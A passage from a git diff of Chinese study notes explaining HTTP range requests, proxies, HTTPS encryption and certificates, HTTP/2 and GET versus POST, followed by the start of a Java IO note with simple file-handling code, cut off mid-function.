 如果网络出现中断，服务器只发送了一部分数据，范围请求可以使得客户端只请求服务器未发送的那部分数据，从而避免服务器重新发送所有数据。
 
-### 1. Range
+### 1. Range
 
-在请求报文中添加 Range 首部字段指定请求的范围。
+在请求报文中添加 Range 首部字段指定请求的范围。
 
 ```html
-GET /z4d4kWk.jpg HTTP/1.1
-Host: i.imgur.com
-Range: bytes=0-1023
+GET /z4d4kWk.jpg HTTP/1.1
+Host: i.imgur.com
+Range: bytes=0-1023
 ```
 
-请求成功的话服务器返回的响应包含 206 Partial Content 状态码。
+请求成功的话服务器返回的响应包含 206 Partial Content 状态码。
 
 ```html
-HTTP/1.1 206 Partial Content
-Content-Range: bytes 0-1023/146515
-Content-Length: 1024
+HTTP/1.1 206 Partial Content
+Content-Range: bytes 0-1023/146515
+Content-Length: 1024
 ...
-(binary content)
+(binary content)
 ```
 
-### 2. Accept-Ranges
+### 2. Accept-Ranges
 
-响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求，可以处理使用 bytes，否则使用 none。
+响应首部字段 Accept-Ranges 用于告知客户端是否能处理范围请求，可以处理使用 bytes，否则使用 none。
 
 ```html
-Accept-Ranges: bytes
+Accept-Ranges: bytes
 ```
 
-### 3. 响应状态码
+### 3. 响应状态码
 
-- 在请求成功的情况下，服务器会返回 206 Partial Content 状态码。
-- 在请求的范围越界的情况下，服务器会返回 416 Requested Range Not Satisfiable 状态码。
-- 在不支持范围请求的情况下，服务器会返回 200 OK 状态码。
+- 在请求成功的情况下，服务器会返回 206 Partial Content 状态码。
+- 在请求的范围越界的情况下，服务器会返回 416 Requested Range Not Satisfiable 状态码。
+- 在不支持范围请求的情况下，服务器会返回 200 OK 状态码。
 
-## 分块传输编码
+## 分块传输编码
 
-Chunked Transfer Coding，可以把数据分割成多块，让浏览器逐步显示页面。
+Chunked Transfer Coding，可以把数据分割成多块，让浏览器逐步显示页面。
 
-## 多部分对象集合
+## 多部分对象集合
 
-一份报文主体内可含有多种类型的实体同时发送，每个部分之间用 boundary 字段定义的分隔符进行分隔，每个部分都可以有首部字段。
+一份报文主体内可含有多种类型的实体同时发送，每个部分之间用 boundary 字段定义的分隔符进行分隔，每个部分都可以有首部字段。
 
 例如，上传多个表单时可以使用如下方式：
 
 ```html
-Content-Type: multipart/form-data; boundary=AaB03x
+Content-Type: multipart/form-data; boundary=AaB03x
 
 --AaB03x
-Content-Disposition: form-data; name="submit-name"
+Content-Disposition: form-data; name="submit-name"
 
 Larry
 --AaB03x
-Content-Disposition: form-data; name="files"; filename="file1.txt"
-Content-Type: text/plain
+Content-Disposition: form-data; name="files"; filename="file1.txt"
+Content-Type: text/plain
 
-... contents of file1.txt ...
+... contents of file1.txt ...
 --AaB03x--
 ```
 
-## 虚拟主机
+## 虚拟主机
 
-HTTP/1.1 使用虚拟主机技术，使得一台服务器拥有多个域名，并且在逻辑上可以看成多个服务器。
+HTTP/1.1 使用虚拟主机技术，使得一台服务器拥有多个域名，并且在逻辑上可以看成多个服务器。
 
-## 通信数据转发
+## 通信数据转发
 
-### 1. 代理
+### 1. 代理
 
 代理服务器接受客户端的请求，并且转发给其它服务器。
 
 使用代理的主要目的是：
 
-- 缓存
-- 负载均衡
-- 网络访问控制
-- 访问日志记录
+- 缓存
+- 负载均衡
+- 网络访问控制
+- 访问日志记录
 
 代理服务器分为正向代理和反向代理两种：
 
-- 用户察觉得到正向代理的存在。
+- 用户察觉得到正向代理的存在。
 
-<img src="index_files/a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/>
+<div align="center"> <img src="pics/a314bb79-5b18-4e63-a976-3448bffa6f1b.png" width=""/> </div><br>
 
-- 而反向代理一般位于内部网络中，用户察觉不到。
+- 而反向代理一般位于内部网络中，用户察觉不到。
 
-<img src="index_files/2d09a847-b854-439c-9198-b29c65810944.png" width=""/>
+<div align="center"> <img src="pics/2d09a847-b854-439c-9198-b29c65810944.png" width=""/> </div><br>
 
-### 2. 网关
+### 2. 网关
 
-与代理服务器不同的是，网关服务器会将 HTTP 转化为其它协议进行通信，从而请求其它非 HTTP 服务器的服务。
+与代理服务器不同的是，网关服务器会将 HTTP 转化为其它协议进行通信，从而请求其它非 HTTP 服务器的服务。
 
-### 3. 隧道
+### 3. 隧道
 
-使用 SSL 等加密手段，在客户端和服务器之间建立一条安全的通信线路。
+使用 SSL 等加密手段，在客户端和服务器之间建立一条安全的通信线路。
 
-# 六、HTTPs
+# 六、HTTPs
 
-HTTP 有以下安全性问题：
+HTTP 有以下安全性问题：
 
-- 使用明文进行通信，内容可能会被窃听；
-- 不验证通信方的身份，通信方的身份有可能遭遇伪装；
-- 无法证明报文的完整性，报文有可能遭篡改。
+- 使用明文进行通信，内容可能会被窃听；
+- 不验证通信方的身份，通信方的身份有可能遭遇伪装；
+- 无法证明报文的完整性，报文有可能遭篡改。
 
-HTTPs 并不是新协议，而是让 HTTP 先和 SSL（Secure Sockets Layer）通信，再由 SSL 和 TCP 通信，也就是说 HTTPs 使用了隧道进行通信。
+HTTPs 并不是新协议，而是让 HTTP 先和 SSL（Secure Sockets Layer）通信，再由 SSL 和 TCP 通信，也就是说 HTTPs 使用了隧道进行通信。
 
-通过使用 SSL，HTTPs 具有了加密（防窃听）、认证（防伪装）和完整性保护（防篡改）。
+通过使用 SSL，HTTPs 具有了加密（防窃听）、认证（防伪装）和完整性保护（防篡改）。
 
-<img src="index_files/ssl-offloading.jpg" width="700"/>
+<div align="center"> <img src="pics/ssl-offloading.jpg" width="700"/> </div><br>
 
-## 加密
+## 加密
 
-### 1. 对称密钥加密
+### 1. 对称密钥加密
 
-对称密钥加密（Symmetric-Key Encryption），加密和解密使用同一密钥。
+对称密钥加密（Symmetric-Key Encryption），加密和解密使用同一密钥。
 
-- 优点：运算速度快；
-- 缺点：无法安全地将密钥传输给通信方。
+- 优点：运算速度快；
+- 缺点：无法安全地将密钥传输给通信方。
 
-<img src="index_files/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/>
+<div align="center"> <img src="pics/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
 
-### 2.非对称密钥加密
+### 2.非对称密钥加密
 
-非对称密钥加密，又称公开密钥加密（Public-Key Encryption），加密和解密使用不同的密钥。
+非对称密钥加密，又称公开密钥加密（Public-Key Encryption），加密和解密使用不同的密钥。
 
 公开密钥所有人都可以获得，通信发送方获得接收方的公开密钥之后，就可以使用公开密钥进行加密，接收方收到通信内容后使用私有密钥解密。
 
 非对称密钥除了用来加密，还可以用来进行签名。因为私有密钥无法被其他人获取，因此通信发送方使用其私有密钥进行签名，通信接收方使用发送方的公开密钥对签名进行解密，就能判断这个签名是否正确。
 
-- 优点：可以更安全地将公开密钥传输给通信发送方；
-- 缺点：运算速度慢。
+- 优点：可以更安全地将公开密钥传输给通信发送方；
+- 缺点：运算速度慢。
 
-<img src="index_files/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/>
+<div align="center"> <img src="pics/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
 
-### 3. HTTPs 采用的加密方式
+### 3. HTTPs 采用的加密方式
 
-HTTPs 采用混合的加密机制，使用非对称密钥加密用于传输对称密钥来保证传输过程的安全性，之后使用对称密钥加密进行通信来保证通信过程的效率。（下图中的 Session Key 就是对称密钥）
+HTTPs 采用混合的加密机制，使用非对称密钥加密用于传输对称密钥来保证传输过程的安全性，之后使用对称密钥加密进行通信来保证通信过程的效率。（下图中的 Session Key 就是对称密钥）
 
-<img src="index_files/How-HTTPS-Works.png" width="600"/>
+<div align="center"> <img src="pics/How-HTTPS-Works.png" width="600"/> </div><br>
 
-## 认证
+## 认证
 
-通过使用 **证书** 来对通信方进行认证。
+通过使用  **证书**  来对通信方进行认证。
 
-数字证书认证机构（CA，Certificate Authority）是客户端与服务器双方都可信赖的第三方机构。
+数字证书认证机构（CA，Certificate Authority）是客户端与服务器双方都可信赖的第三方机构。
 
-服务器的运营人员向 CA 提出公开密钥的申请，CA 在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名，然后分配这个已签名的公开密钥，并将该公开密钥放入公开密钥证书后绑定在一起。
+服务器的运营人员向 CA 提出公开密钥的申请，CA 在判明提出申请者的身份之后，会对已申请的公开密钥做数字签名，然后分配这个已签名的公开密钥，并将该公开密钥放入公开密钥证书后绑定在一起。
 
-进行 HTTPs 通信时，服务器会把证书发送给客户端。客户端取得其中的公开密钥之后，先使用数字签名进行验证，如果验证通过，就可以开始通信了。
+进行 HTTPs 通信时，服务器会把证书发送给客户端。客户端取得其中的公开密钥之后，先使用数字签名进行验证，如果验证通过，就可以开始通信了。
 
-<img src="index_files/2017-06-11-ca.png" width=""/>
+<div align="center"> <img src="pics/2017-06-11-ca.png" width=""/> </div><br>
 
-## 完整性保护
+## 完整性保护
 
-SSL 提供报文摘要功能来进行完整性保护。
+SSL 提供报文摘要功能来进行完整性保护。
 
-HTTP 也提供了 MD5 报文摘要功能，但不是安全的。例如报文内容被篡改之后，同时重新计算 MD5 的值，通信接收方是无法意识到发生了篡改。
+HTTP 也提供了 MD5 报文摘要功能，但不是安全的。例如报文内容被篡改之后，同时重新计算 MD5 的值，通信接收方是无法意识到发生了篡改。
 
-HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认证这两个操作。试想一下，加密之后的报文，遭到篡改之后，也很难重新计算报文摘要，因为无法轻易获取明文。
+HTTPs 的报文摘要功能之所以安全，是因为它结合了加密和认证这两个操作。试想一下，加密之后的报文，遭到篡改之后，也很难重新计算报文摘要，因为无法轻易获取明文。
 
-## HTTPs 的缺点
+## HTTPs 的缺点
 
-- 因为需要进行加密解密等过程，因此速度会更慢；
-- 需要支付证书授权的高额费用。
+- 因为需要进行加密解密等过程，因此速度会更慢；
+- 需要支付证书授权的高额费用。
 
-# 七、HTTP/2.0
+# 七、HTTP/2.0
 
-## HTTP/1.x 缺陷
+## HTTP/1.x 缺陷
 
-HTTP/1.x 实现简单是以牺牲性能为代价的：
+HTTP/1.x 实现简单是以牺牲性能为代价的：
 
-- 客户端需要使用多个连接才能实现并发和缩短延迟；
-- 不会压缩请求和响应首部，从而导致不必要的网络流量；
-- 不支持有效的资源优先级，致使底层 TCP 连接的利用率低下。
+- 客户端需要使用多个连接才能实现并发和缩短延迟；
+- 不会压缩请求和响应首部，从而导致不必要的网络流量；
+- 不支持有效的资源优先级，致使底层 TCP 连接的利用率低下。
 
-## 二进制分帧层
+## 二进制分帧层
 
-HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧，它们都是二进制格式的。
+HTTP/2.0 将报文分成 HEADERS 帧和 DATA 帧，它们都是二进制格式的。
 
-<img src="index_files/86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/>
+<div align="center"> <img src="pics/86e6a91d-a285-447a-9345-c5484b8d0c47.png" width="400"/> </div><br>
 
-在通信过程中，只会有一个 TCP 连接存在，它承载了任意数量的双向数据流（Stream）。
+在通信过程中，只会有一个 TCP 连接存在，它承载了任意数量的双向数据流（Stream）。
 
-- 一个数据流（Stream）都有一个唯一标识符和可选的优先级信息，用于承载双向信息。
-- 消息（Message）是与逻辑请求或响应对应的完整的一系列帧。
-- 帧（Frame）是最小的通信单位，来自不同数据流的帧可以交错发送，然后再根据每个帧头的数据流标识符重新组装。
+- 一个数据流（Stream）都有一个唯一标识符和可选的优先级信息，用于承载双向信息。
+- 消息（Message）是与逻辑请求或响应对应的完整的一系列帧。
+- 帧（Frame）是最小的通信单位，来自不同数据流的帧可以交错发送，然后再根据每个帧头的数据流标识符重新组装。
 
-<img src="index_files/af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/>
+<div align="center"> <img src="pics/af198da1-2480-4043-b07f-a3b91a88b815.png" width="600"/> </div><br>
 
-## 服务端推送
+## 服务端推送
 
-HTTP/2.0 在客户端请求一个资源时，会把相关的资源一起发送给客户端，客户端就不需要再次发起请求了。例如客户端请求 page.html 页面，服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
+HTTP/2.0 在客户端请求一个资源时，会把相关的资源一起发送给客户端，客户端就不需要再次发起请求了。例如客户端请求 page.html 页面，服务端就把 script.js 和 style.css 等与之相关的资源一起发给客户端。
 
-<img src="index_files/e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/>
+<div align="center"> <img src="pics/e3f1657c-80fc-4dfa-9643-bf51abd201c6.png" width="800"/> </div><br>
 
-## 首部压缩
+## 首部压缩
 
-HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。
+HTTP/1.1 的首部带有大量信息，而且每次都要重复发送。
 
-HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表，从而避免了重复传输。
+HTTP/2.0 要求客户端和服务器同时维护和更新一个包含之前见过的首部字段表，从而避免了重复传输。
 
-不仅如此，HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
+不仅如此，HTTP/2.0 也使用 Huffman 编码对首部字段进行压缩。
 
-<img src="index_files/_u4E0B_u8F7D.png" width="600"/>
+<div align="center"> <img src="pics/_u4E0B_u8F7D.png" width="600"/> </div><br>
 
-# 八、HTTP/1.1 新特性
+# 八、HTTP/1.1 新特性
 
 详细内容请见上文
 
-- 默认是长连接
-- 支持流水线
-- 支持同时打开多个 TCP 连接
-- 支持虚拟主机
-- 新增状态码 100
-- 支持分块传输编码
-- 新增缓存处理指令 max-age
+- 默认是长连接
+- 支持流水线
+- 支持同时打开多个 TCP 连接
+- 支持虚拟主机
+- 新增状态码 100
+- 支持分块传输编码
+- 新增缓存处理指令 max-age
 
-# 九、GET 和 POST 比较
+# 九、GET 和 POST 比较
 
-## 作用
+## 作用
 
-GET 用于获取资源，而 POST 用于传输实体主体。
+GET 用于获取资源，而 POST 用于传输实体主体。
 
-## 参数
+## 参数
 
-GET 和 POST 的请求都能使用额外的参数，但是 GET 的参数是以查询字符串出现在 URL 中，而 POST 的参数存储在实体主体中。不能因为 POST 参数存储在实体主体中就认为它的安全性更高，因为照样可以通过一些抓包工具（Fiddler）查看。
+GET 和 POST 的请求都能使用额外的参数，但是 GET 的参数是以查询字符串出现在 URL 中，而 POST 的参数存储在实体主体中。不能因为 POST 参数存储在实体主体中就认为它的安全性更高，因为照样可以通过一些抓包工具（Fiddler）查看。
 
-因为 URL 只支持 ASCII 码，因此 GET 的参数中如果存在中文等字符就需要先进行编码。例如 `中文` 会转换为 `%E4%B8%AD%E6%96%87`，而空格会转换为 `%20`。POST 参考支持标准字符集。
+因为 URL 只支持 ASCII 码，因此 GET 的参数中如果存在中文等字符就需要先进行编码。例如 `中文` 会转换为 `%E4%B8%AD%E6%96%87`，而空格会转换为 `%20`。POST 参考支持标准字符集。
 
 ```
-GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
+GET /test/demo_form.asp?name1=value1&name2=value2 HTTP/1.1
 ```
 
 ```
-POST /test/demo_form.asp HTTP/1.1
-Host: w3schools.com
+POST /test/demo_form.asp HTTP/1.1
+Host: w3schools.com
 name1=value1&name2=value2
 ```
 
-## 安全
+## 安全
 
-安全的 HTTP 方法不会改变服务器状态，也就是说它只是可读的。
+安全的 HTTP 方法不会改变服务器状态，也就是说它只是可读的。
 
-GET 方法是安全的，而 POST 却不是，因为 POST 的目的是传送实体主体内容，这个内容可能是用户上传的表单数据，上传成功之后，服务器可能把这个数据存储到数据库中，因此状态也就发生了改变。
+GET 方法是安全的，而 POST 却不是，因为 POST 的目的是传送实体主体内容，这个内容可能是用户上传的表单数据，上传成功之后，服务器可能把这个数据存储到数据库中，因此状态也就发生了改变。
 
-安全的方法除了 GET 之外还有：HEAD、OPTIONS。
+安全的方法除了 GET 之外还有：HEAD、OPTIONS。
 
-不安全的方法除了 POST 之外还有 PUT、DELETE。
+不安全的方法除了 POST 之外还有 PUT、DELETE。
 
-## 幂等性
+## 幂等性
 
-幂等的 HTTP 方法，同样的请求被执行一次与连续执行多次的效果是一样的，服务器的状态也是一样的。换句话说就是，幂等方法不应该具有副作用（统计用途除外）。
+幂等的 HTTP 方法，同样的请求被执行一次与连续执行多次的效果是一样的，服务器的状态也是一样的。换句话说就是，幂等方法不应该具有副作用（统计用途除外）。
 
 所有的安全方法也都是幂等的。
 
-在正确实现的条件下，GET，HEAD，PUT 和 DELETE 等方法都是幂等的，而 POST 方法不是。
+在正确实现的条件下，GET，HEAD，PUT 和 DELETE 等方法都是幂等的，而 POST 方法不是。
 
-GET /pageX HTTP/1.1 是幂等的，连续调用多次，客户端接收到的结果都是一样的：
+GET /pageX HTTP/1.1 是幂等的，连续调用多次，客户端接收到的结果都是一样的：
 
 ```
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
+GET /pageX HTTP/1.1
 ```
 
-POST /add_row HTTP/1.1 不是幂等的，如果调用多次，就会增加多行记录：
+POST /add_row HTTP/1.1 不是幂等的，如果调用多次，就会增加多行记录：
 
 ```
-POST /add_row HTTP/1.1   -> Adds a 1nd row
-POST /add_row HTTP/1.1   -> Adds a 2nd row
-POST /add_row HTTP/1.1   -> Adds a 3rd row
+POST /add_row HTTP/1.1   -> Adds a 1nd row
+POST /add_row HTTP/1.1   -> Adds a 2nd row
+POST /add_row HTTP/1.1   -> Adds a 3rd row
 ```
 
-DELETE /idX/delete HTTP/1.1 是幂等的，即便不同的请求接收到的状态码不一样：
+DELETE /idX/delete HTTP/1.1 是幂等的，即便不同的请求接收到的状态码不一样：
 
 ```
-DELETE /idX/delete HTTP/1.1   -> Returns 200 if idX exists
-DELETE /idX/delete HTTP/1.1   -> Returns 404 as it just got deleted
-DELETE /idX/delete HTTP/1.1   -> Returns 404
+DELETE /idX/delete HTTP/1.1   -> Returns 200 if idX exists
+DELETE /idX/delete HTTP/1.1   -> Returns 404 as it just got deleted
+DELETE /idX/delete HTTP/1.1   -> Returns 404
 ```
 
-## 可缓存
+## 可缓存
 
 如果要对响应进行缓存，需要满足以下条件：
 
-- 请求报文的 HTTP 方法本身是可缓存的，包括 GET 和 HEAD，但是 PUT 和 DELETE 不可缓存，POST 在多数情况下不可缓存的。
-- 响应报文的状态码是可缓存的，包括：200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
-- 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
+- 请求报文的 HTTP 方法本身是可缓存的，包括 GET 和 HEAD，但是 PUT 和 DELETE 不可缓存，POST 在多数情况下不可缓存的。
+- 响应报文的状态码是可缓存的，包括：200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
+- 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
 
-## XMLHttpRequest
+## XMLHttpRequest
 
-为了阐述 POST 和 GET 的另一个区别，需要先了解 XMLHttpRequest：
+为了阐述 POST 和 GET 的另一个区别，需要先了解 XMLHttpRequest：
 
-> XMLHttpRequest 是一个 API，它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式，并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
+> XMLHttpRequest 是一个 API，它为客户端提供了在客户端和服务器之间传输数据的功能。它提供了一个通过 URL 来获取数据的简单方式，并且不会使整个页面刷新。这使得网页只更新一部分页面而不会打扰到用户。XMLHttpRequest 在 AJAX 中被大量使用。
 
-- 在使用 XMLHttpRequest 的 POST 方法时，浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做，例如火狐就不会。
-- 而 GET 方法 Header 和 Data 会一起发送。
+- 在使用 XMLHttpRequest 的 POST 方法时，浏览器会先发送 Header 再发送 Data。但并不是所有浏览器会这么做，例如火狐就不会。
+- 而 GET 方法 Header 和 Data 会一起发送。
 
-# 参考资料
+# 参考资料
 
-- 上野宣. 图解 HTTP[M]. 人民邮电出版社, 2014.
-- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
-- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
-- [htmlspecialchars](http://php.net/manual/zh/function.htmlspecialchars.php)
-- [Difference between file URI and URL in java](http://java2db.com/java-io/how-to-get-and-the-difference-between-file-uri-and-url-in-java)
-- [How to Fix SQL Injection Using Java PreparedStatement & CallableStatement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)
-- [浅谈 HTTP 中 Get 与 Post 的区别](https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html)
-- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
-- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
-- [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/)
-- [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg)
-- [Proxy server](https://en.wikipedia.org/wiki/Proxy_server)
-- [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html)
-- [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/)
-- [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html)
-- [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication)
-- [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/)
-- [Cookie 与 Session 的区别](https://juejin.im/entry/5766c29d6be3ff006a31b84e#comment)
-- [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827)
-- [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html)
-- [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/)
-- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
-- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
-- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
-- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
-- [Web 性能优化与 HTTP/2](https://www.kancloud.cn/digest/web-performance-http2)
-- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
----bottom---CyC---
-![](index_files/766d401b-3cf6-475c-8ced-ea8c8db8edc5.png)
-![](index_files/HTTP_RequestMessageExample.png)
-![](index_files/HTTP_ResponseMessageExample.png)
-![](index_files/dc00f70e-c5c8-4d20-baf1-2d70014a97e3.jpg)
-![](index_files/HTTP1_x_Connections.png)
-![](index_files/a314bb79-5b18-4e63-a976-3448bffa6f1b.png)
-![](index_files/2d09a847-b854-439c-9198-b29c65810944.png)
-![](index_files/ssl-offloading.jpg)
-![](index_files/7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png)
-![](index_files/39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png)
-![](index_files/How-HTTPS-Works.png)
-![](index_files/2017-06-11-ca.png)
-![](index_files/86e6a91d-a285-447a-9345-c5484b8d0c47.png)
-![](index_files/af198da1-2480-4043-b07f-a3b91a88b815.png)
-![](index_files/e3f1657c-80fc-4dfa-9643-bf51abd201c6.png)
-![](index_files/_u4E0B_u8F7D.png)
+- 上野宣. 图解 HTTP[M]. 人民邮电出版社, 2014.
+- [MDN : HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)
+- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
+- [htmlspecialchars](http://php.net/manual/zh/function.htmlspecialchars.php)
+- [Difference between file URI and URL in java](http://java2db.com/java-io/how-to-get-and-the-difference-between-file-uri-and-url-in-java)
+- [How to Fix SQL Injection Using Java PreparedStatement & CallableStatement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)
+- [浅谈 HTTP 中 Get 与 Post 的区别](https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html)
+- [Are http:// and www really necessary?](https://www.webdancers.com/are-http-and-www-necesary/)
+- [HTTP (HyperText Transfer Protocol)](https://www.ntu.edu.sg/home/ehchua/programming/webprogramming/HTTP_Basics.html)
+- [Web-VPN: Secure Proxies with SPDY & Chrome](https://www.igvita.com/2011/12/01/web-vpn-secure-proxies-with-spdy-chrome/)
+- [File:HTTP persistent connection.svg](http://en.wikipedia.org/wiki/File:HTTP_persistent_connection.svg)
+- [Proxy server](https://en.wikipedia.org/wiki/Proxy_server)
+- [What Is This HTTPS/SSL Thing And Why Should You Care?](https://www.x-cart.com/blog/what-is-https-and-ssl.html)
+- [What is SSL Offloading?](https://securebox.comodo.com/ssl-sniffing/ssl-offloading/)
+- [Sun Directory Server Enterprise Edition 7.0 Reference - Key Encryption](https://docs.oracle.com/cd/E19424-01/820-4811/6ng8i26bn/index.html)
+- [An Introduction to Mutual SSL Authentication](https://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication)
+- [The Difference Between URLs and URIs](https://danielmiessler.com/study/url-uri/)
+- [Cookie 与 Session 的区别](https://juejin.im/entry/5766c29d6be3ff006a31b84e#comment)
+- [COOKIE 和 SESSION 有什么区别](https://www.zhihu.com/question/19786827)
+- [Cookie/Session 的机制与安全](https://harttle.land/2015/08/10/cookie-session.html)
+- [HTTPS 证书原理](https://shijianan.com/2017/06/11/https/)
+- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
+- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
+- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
+- [Symmetric vs. Asymmetric Encryption – What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)
+- [Web 性能优化与 HTTP/2](https://www.kancloud.cn/digest/web-performance-http2)
+- [HTTP/2 简介](https://developers.google.com/web/fundamentals/performance/http2/?hl=zh-cn)
diff --git a/docs/notes/Java IO.md b/docs/notes/Java IO.md
index 47c0e06d..f0ae70c0 100644
--- a/docs/notes/Java IO.md	
+++ b/docs/notes/Java IO.md	
@@ -1,286 +1,320 @@
-# 一、概览
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、概览](#一概览)
+* [二、磁盘操作](#二磁盘操作)
+* [三、字节操作](#三字节操作)
+    * [实现文件复制](#实现文件复制)
+    * [装饰者模式](#装饰者模式)
+* [四、字符操作](#四字符操作)
+    * [编码与解码](#编码与解码)
+    * [String 的编码方式](#string-的编码方式)
+    * [Reader 与 Writer](#reader-与-writer)
+    * [实现逐行输出文本文件的内容](#实现逐行输出文本文件的内容)
+* [五、对象操作](#五对象操作)
+    * [序列化](#序列化)
+    * [Serializable](#serializable)
+    * [transient](#transient)
+* [六、网络操作](#六网络操作)
+    * [InetAddress](#inetaddress)
+    * [URL](#url)
+    * [Sockets](#sockets)
+    * [Datagram](#datagram)
+* [七、NIO](#七nio)
+    * [流与块](#流与块)
+    * [通道与缓冲区](#通道与缓冲区)
+    * [缓冲区状态变量](#缓冲区状态变量)
+    * [文件 NIO 实例](#文件-nio-实例)
+    * [选择器](#选择器)
+    * [套接字 NIO 实例](#套接字-nio-实例)
+    * [内存映射文件](#内存映射文件)
+    * [对比](#对比)
+* [八、参考资料](#八参考资料)
+<!-- GFM-TOC -->
 
-Java 的 I/O 大概可以分成以下几类：
 
-- 磁盘操作：File
-- 字节操作：InputStream 和 OutputStream
-- 字符操作：Reader 和 Writer
-- 对象操作：Serializable
-- 网络操作：Socket
-- 新的输入/输出：NIO
+# 一、概览
 
-# 二、磁盘操作
+Java 的 I/O 大概可以分成以下几类：
 
-File 类可以用于表示文件和目录的信息，但是它不表示文件的内容。
+- 磁盘操作：File
+- 字节操作：InputStream 和 OutputStream
+- 字符操作：Reader 和 Writer
+- 对象操作：Serializable
+- 网络操作：Socket
+- 新的输入/输出：NIO
+
+# 二、磁盘操作
+
+File 类可以用于表示文件和目录的信息，但是它不表示文件的内容。
 
 递归地列出一个目录下所有文件：
 
 ```java
-public static void listAllFiles(File dir) {
-    if (dir == null || !dir.exists()) {
-        return;
-    }
-    if (dir.isFile()) {
-        System.out.println(dir.getName());
-        return;
-    }
-    for (File file : dir.listFiles()) {
-        listAllFiles(file);
-    }
+public static void listAllFiles(File dir) {
+    if (dir == null || !dir.exists()) {
+        return;
+    }
+    if (dir.isFile()) {
+        System.out.println(dir.getName());
+        return;
+    }
+    for (File file : dir.listFiles()) {
+        listAllFiles(file);
+    }
 }
 ```
 
-从 Java7 开始，可以使用 Paths 和 Files 代替 File。
+从 Java7 开始，可以使用 Paths 和 Files 代替 File。
 
-# 三、字节操作
+# 三、字节操作
 
-## 实现文件复制
+## 实现文件复制
 
 ```java
-public static void copyFile(String src, String dist) throws IOException {
-    FileInputStream in = new FileInputStream(src);
-    FileOutputStream out = new FileOutputStream(dist);
+public static void copyFile(String src, String dist) throws IOException {
+    FileInputStream in = new FileInputStream(src);
+    FileOutputStream out = new FileOutputStream(dist);
 
-    byte[] buffer = new byte[20 * 1024];
-    int cnt;
